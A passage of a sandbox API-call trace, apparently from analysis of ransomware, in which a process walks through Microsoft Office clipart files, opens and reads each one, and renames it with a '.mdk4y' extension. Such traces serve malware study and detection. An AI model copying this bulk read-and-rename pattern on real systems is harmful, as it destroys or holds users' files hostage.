returned 1 [0181.958] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.958] AreFileApisANSI () returned 1 [0181.958] GetACP () returned 0x4e4 [0181.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18187_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18187_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.958] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825718900000) returned 1 [0181.959] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x758, lpOverlapped=0x0) returned 1 [0181.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719100000) returned 1 [0181.961] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719100000) returned 1 [0181.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18187_.wmf.mdk4y")) returned 1 [0181.962] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.962] AreFileApisANSI () returned 1 [0181.962] GetACP () returned 0x4e4 [0181.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18189_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18189_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.962] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719300000) returned 1 [0181.963] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x980, lpOverlapped=0x0) returned 1 [0181.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719500000) returned 1 [0181.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719500000) returned 1 [0181.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18189_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18189_.wmf.mdk4y")) returned 1 [0181.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.967] AreFileApisANSI () returned 1 [0181.967] GetACP () returned 0x4e4 [0181.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18190_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18190_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719700000) returned 1 [0181.968] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x994, lpOverlapped=0x0) returned 1 [0181.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719900000) returned 1 [0181.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825719900000) returned 1 [0181.969] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.mdk4y")) returned 1 [0181.983] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.983] AreFileApisANSI () returned 1 [0181.983] GetACP () returned 0x4e4 [0181.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18191_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18191_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.983] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.984] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721400000) returned 1 [0181.984] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc9e, lpOverlapped=0x0) returned 1 [0181.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721500000) returned 1 [0181.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721500000) returned 1 [0181.985] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.mdk4y")) returned 1 [0181.986] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.986] AreFileApisANSI () returned 1 [0181.986] GetACP () returned 0x4e4 [0181.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18192_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18192_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.986] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721700000) returned 1 [0181.987] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2068, lpOverlapped=0x0) returned 1 [0181.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721800000) returned 1 [0181.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825721800000) returned 1 [0181.989] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.mdk4y")) returned 1 [0181.989] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0181.989] AreFileApisANSI () returned 1 [0181.989] GetACP () returned 0x4e4 [0181.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18193_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18193_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0181.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0181.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825722000000) returned 1 [0181.990] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x128e, lpOverlapped=0x0) returned 1 [0182.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725300000) returned 1 [0182.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725300000) returned 1 [0182.024] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.mdk4y")) returned 1 [0182.025] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.025] AreFileApisANSI () returned 1 [0182.025] GetACP () returned 0x4e4 [0182.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18194_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18194_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.025] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725500000) returned 1 [0182.025] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdde, lpOverlapped=0x0) returned 1 [0182.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725700000) returned 1 [0182.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725700000) returned 1 [0182.027] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.mdk4y")) returned 1 [0182.027] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.027] AreFileApisANSI () returned 1 [0182.027] GetACP () returned 0x4e4 [0182.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18196_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18196_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.028] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725800000) returned 1 [0182.028] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5a4, lpOverlapped=0x0) returned 1 [0182.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725900000) returned 1 [0182.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825725900000) returned 1 [0182.029] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.mdk4y")) returned 1 [0182.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.030] AreFileApisANSI () returned 1 [0182.030] GetACP () returned 0x4e4 [0182.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18197_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18197_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.030] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825726100000) returned 1 [0182.031] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5b4, lpOverlapped=0x0) returned 1 [0182.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732300000) returned 1 [0182.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732300000) returned 1 [0182.093] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf.mdk4y")) returned 1 [0182.094] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.094] AreFileApisANSI () returned 1 [0182.094] GetACP () returned 0x4e4 [0182.094] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18198_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18198_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.094] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732500000) returned 1 [0182.095] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5c4, lpOverlapped=0x0) returned 1 [0182.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732600000) returned 1 [0182.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732600000) returned 1 [0182.097] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf.mdk4y")) returned 1 [0182.097] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.097] AreFileApisANSI () returned 1 [0182.097] GetACP () returned 0x4e4 [0182.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18199_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18199_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732800000) returned 1 [0182.098] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc3c, lpOverlapped=0x0) returned 1 [0182.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732900000) returned 1 [0182.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825732900000) returned 1 [0182.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf.mdk4y")) returned 1 [0182.100] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.100] AreFileApisANSI () returned 1 [0182.100] GetACP () returned 0x4e4 [0182.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18200_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18200_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733000000) returned 1 [0182.100] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x61c, lpOverlapped=0x0) returned 1 [0182.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733200000) returned 1 [0182.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733200000) returned 1 [0182.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf.mdk4y")) returned 1 [0182.103] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.103] AreFileApisANSI () returned 1 [0182.103] GetACP () returned 0x4e4 [0182.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18201_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18201_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.103] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.104] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733300000) returned 1 [0182.104] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6ec, lpOverlapped=0x0) returned 1 [0182.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733500000) returned 1 [0182.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733500000) returned 1 [0182.105] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18201_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18201_.wmf.mdk4y")) returned 1 [0182.106] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.106] AreFileApisANSI () returned 1 [0182.106] GetACP () returned 0x4e4 [0182.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18202_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18202_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.106] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825733600000) returned 1 [0182.106] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x56c, lpOverlapped=0x0) returned 1 [0182.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825738400000) returned 1 [0182.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825738400000) returned 1 [0182.155] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft 